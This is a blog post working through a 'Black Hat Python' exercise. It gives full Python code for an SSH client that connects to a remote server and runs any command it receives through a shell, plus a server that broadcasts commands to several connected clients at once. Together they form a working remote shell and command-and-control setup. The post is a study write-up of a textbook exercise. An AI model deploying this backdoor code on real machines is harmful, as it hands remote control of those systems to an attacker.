Black Hat Python - SSH with Paramiko

Filed under python on November 03, 2019

I finished this one up in Sydney airport this afternoon, though I think I went a little overboard while working on it. I gave a go of keying a dictionary with SSH channel objects and it seems to work, so I improved on my message reading loop from last time a little bit.

The Premise

This chapter presented us with a single server/single client to execute commands on a connecting client. I’ve changed that a little to be a more persistent connection to multiple clients, though you could probably just pump a shell script down the pipe and close the connection.

The issues

This one pretty much worked out of the box for me, I only really had to change the print statements and make sure our sockets were dealing with byte array types instead of strings.

The Implementation

SSH Client

First order of business was setting up our client to run the commands sent to it. This is more or less the same as the one in the book, though it probably could be improved by using the select like in previous chapters

def ssh_command(ip, port, user, passwd):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, port=port, username=user, passphrase=passwd, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        print(ssh_session.recv(1024).decode('utf-8'))
        try:
            while True:
                command = ssh_session.recv(1024)
                try:
                    cmd_input = command.decode('utf-8')
                    print('[<] Received input "{}"'.format(cmd_input))
                    cmd_output = subprocess.check_output(cmd_input, shell=True)
                    print('[>] Sending output "{}"'.format(cmd_output.decode('utf-8').strip()))
                    ssh_session.send(cmd_output)
                except Exception as e:
                    ssh_session.send(str(e).encode())
        except KeyboardInterrupt as e:
            print("[!!] Caught keyboard interrupt, exiting")
        client.close()
    return

The initial call to recv() is only really there to print a welcome message when we connect, and we should probably change it to a get_banner call instead at some point (which, looking at various calls should be doable).

SSH Server

Ok, I admit, I went way overboard for this one. The original implementation waited for a connection, sent the connected client a single command, and then shut down. My implementation keeps the connection open so we can keep sending it more commands, and allows more than one client to stay connected. I think practically, I’d want to modify it to pump a script down the pipe and then disconnect. This will do for now though

class SshServer(paramiko.ServerInterface):
    def __init__(self, username, password):
        self.event = threading.Event()
        self.username = username
        self.password = password

    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username, password):
        if self.username == username and password == self.password:
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

    def get_banner(self):
        return 'Welcome to the super happy fun time jamboree!', 'en-US'

This is how we tell paramiko to deal with incoming connections. All the methods in this class (minus the constructor) override methods in the base interface and will be called over the course of each connection lifecycle

Next we have our server class, which I’ll break down method by method here

def __read_msgs(self, socks):
   buffers = dict()
   # Initialise the buffers
   for sock in socks:
       buffers[sock] = bytearray()
   to_read = socks
   while len(to_read) > 0:
       # Loop over and build up our buffers
       (to_read, _, _) = select.select(to_read, [], [], 0.001)
       non_zero = []
       for sock in to_read:
           msg = sock.recv(1024)

           if len(msg) == 0 or msg == b'\xff\xf4\xff\xfd\x06':
               buffers[sock] = b''
               continue
           buffers[sock].extend(msg)
           non_zero.append(sock)
       to_read = non_zero
   return buffers 

All we do here is loop around, read off the connected sockets and build up our dictionary of received messages. I’ve improved on my message buffering from before, and have started using a dictionary keyed on the channels so I can build all the messages up in one go. Think this way works a little better, though I’d have to profile it to be sure. I think this is certainly more readable, though, at least for me

def __listen_loop(self):
    try:
        while not self.stop:
            (reads, _, _) = select.select(self.sockets, [], [], 1)
            if len(reads) == 0:
                continue
            buffs = self.__read_msgs(reads)
            for k in buffs.keys():
                v = buffs[k]
                if len(v) == 0:
                    self.sockets.remove(k)
                    self.address_lookup.pop(k)
                    print('[*] Socket shutdown')
                    continue
                print('[<] Received "{}" from {}'.format(v.decode('utf-8').strip(), self.address_lookup[k]))
    except KeyboardInterrupt as e:
        print('[!!] Caught a keyboard interrupt, shutting it down')
        self.stop = True
    finally:
        for sock in self.sockets:
            sock.close()

This method is just our main loop where we find out which sockets are ready to send us data and then hand them to the message buffering command. This will be on a background thread, and is responsible for closing client connections when we shut the server down.

def __accept_loop(self):
    self.server_sock.listen(100)
    while not self.stop:
        try:
            (client, addr) = self.server_sock.accept()
            if self.stop:
                continue
            print("[<] Received connection from {}".format(addr))
            # Elevate our socket to an SSH socket
            ssh_session = paramiko.Transport(client)
            ssh_session.add_server_key(self.key)
            ssh_session.start_server(server=self.ssh_server)
            chan = ssh_session.accept(30)
            print("[+] Connection from {} elevated".format(addr))
            chan.send(b'Welcome to cool_and_totally_not_sarcastic_hacker_ssh')
            self.sockets.append(chan)
            self.address_lookup[chan] = addr
        except KeyboardInterrupt as e:
            self.stop = True
            print('[!!] Caught keyboard interrupt, shutting down')
        except InterruptedError as e:
            self.stop = True
            print('[!!] Interupted, extiting')
        except Exception as e:
            print('[!!] Problem creating connection')

This is where the new stuff is happening. We accept incoming connections, negotiate SSH sessions and then add them to our list of client connections that we want to read data from and send commands to.

Paramiko wraps the guts of this operation pretty well, so we don’t have to do anything special aside from providing our implementation of the server interface above and giving it a private key to use.

def __input_loop(self):
    try:
        while not self.stop:
            cmd = input("Enter command: ")
            if cmd == 'exit':
                break
            for s in self.sockets:
                s.send(cmd.encode())
    except KeyboardInterrupt as e:
        print('')
        print("[!!] Caught keyboard interrupt, exiting")
    self.stop = True
    # Force the listen loop to quit
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((self.ip, self.port))
    self.accept_thread.join()
    self.reader_thread.join()

Here, we take commands from the user using input() and send it to the connected clients. Also of note here is how I got the __accept_loop method to quit gracefully, where we set the stop variable to true and open a connection. There’s logic in the accept connections loop that checks the flag after a client connects and shuts it down if the server is stopping, meaning that we pull it out of the blocked state without needing to fiddle with interrupts.

def run(self):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((self.ip, self.port))
    self.server_sock = sock
    self.accept_thread.start()
    self.reader_thread.start()
    self.__input_loop()

Pulling it all together, we have the run method, which starts our socket listening, spawns all our worker threads, and then runs our main command input loop.

if __name__ == '__main__':
    args = parse_args(sys.argv[1:])
    if args.keyfile:
        key = paramiko.RSAKey.from_private_key_file(args.keyfile)
    else:
        key = paramiko.RSAKey.generate(args.keylength)
    ssh_server = SshServer(args.username, args.password)
    server = Server(args.host, args.port, ssh_server, key)
    server.run()

Tying it all together, all we’re doing here is constructing our SSH server object and generating or opening the necessary keys for paramiko to use. Nothing too tricky, but it means we have a nice isolated example of how to use those calls to deal with RSA keys in the library.

Final Thoughts

This library has a lot of potential, is incredibly simple to use and suits our purposes really well. Not a lot of wiring up to do, just a vague understanding of how SSH works.

The next section is an SSH proxy, but it looks to be much the same as the TCP proxy with SSH connections instead of the raw TCP connections. I might just skip over it and onto the next chapter to save some time.